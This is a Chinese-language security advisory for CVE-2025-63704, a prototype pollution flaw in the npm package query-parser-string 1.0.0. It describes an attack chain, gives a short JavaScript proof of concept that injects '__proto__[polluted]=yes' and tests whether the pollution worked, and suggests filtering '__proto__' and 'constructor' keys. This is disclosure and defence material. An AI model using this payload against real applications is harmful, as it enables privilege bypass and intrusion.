IPBUF安全漏洞报告
English
CVE-2025-63704 CVSS 9.8 严重

CVE-2025-63704 query-parser-string原型污染漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2025-63704
漏洞类型
原型污染
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
query-parser-string

相关标签

原型污染NPMJavaScriptRCECVE-2025-63704

漏洞概述

NPM包query-parser-string 1.0.0版本存在严重的原型污染漏洞。由于该包未能正确清理用户提供的查询参数,直接将其合并到新创建的对象中,攻击者可利用恶意构造的输入修改JavaScript对象的原型。攻击者无需认证且无需用户交互即可通过网络触发此漏洞,成功利用可能导致应用程序逻辑篡改、权限绕过、远程代码执行或拒绝服务,对系统安全构成极高威胁。

技术细节

该漏洞的核心在于 `query-parser-string` 库在处理输入数据时缺乏对对象键的安全校验。当解析函数接收到如 `__proto__` 或 `constructor.prototype` 这样的键时,错误地将其视为普通属性并执行合并操作。在JavaScript中,这会直接修改全局的 `Object.prototype`。由于JavaScript中的几乎所有对象都继承自 `Object.prototype`,一旦原型被污染,后续创建的所有对象都会自动继承攻击者注入的恶意属性(如 `isAdmin=true`)。这不仅会导致应用程序逻辑错误,若结合特定上下文(如模板引擎或命令执行函数),甚至可导致远程代码执行(RCE)或拒绝服务(DoS)。

攻击链分析

STEP 1
侦察
攻击者识别目标应用使用了存在漏洞的 query-parser-string 1.0.0 版本。
STEP 2
武器化
攻击者构造包含 __proto__ 或 constructor.prototype 键的恶意查询字符串载荷。
STEP 3
传递
攻击者通过HTTP请求将恶意载荷发送给目标应用的接口。
STEP 4
利用
目标应用使用存在漏洞的库解析参数,将恶意属性合并到 Object.prototype 中,造成原型污染。
STEP 5
影响
应用后续逻辑受到影响,可能导致权限绕过、敏感信息泄露或服务器被控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2025-63704: Prototype Pollution in query-parser-string const parser = require('query-parser-string'); // 1. Craft a malicious payload targeting the prototype // The payload attempts to inject a property into Object.prototype const maliciousQuery = '__proto__[polluted]=yes'; console.log('Testing CVE-2025-63704...'); // 2. Parse the malicious query string using the vulnerable package try { const result = parser.parse(maliciousQuery); // 3. Verify if the pollution was successful // If successful, an empty object {} will now have the 'polluted' property if ({}.polluted === 'yes') { console.log('[+] VULNERABLE: Prototype Pollution successful!'); console.log('[+] {}.polluted =', {}.polluted); } else { console.log('[-] NOT VULNERABLE: Prototype pollution did not occur.'); } } catch (e) { console.error('Error during PoC execution:', e); }

影响范围

query-parser-string 1.0.0

防御指南

临时缓解措施
建议立即检查项目依赖树,确认是否使用了受影响版本的 query-parser-string。若已使用,请立即升级至官方发布的修复版本。在无法立即升级的情况下,应在代码入口处增加输入过滤中间件,拒绝包含 '__proto__', 'constructor', 'prototype' 等关键字的请求参数,以阻断攻击链。

参考链接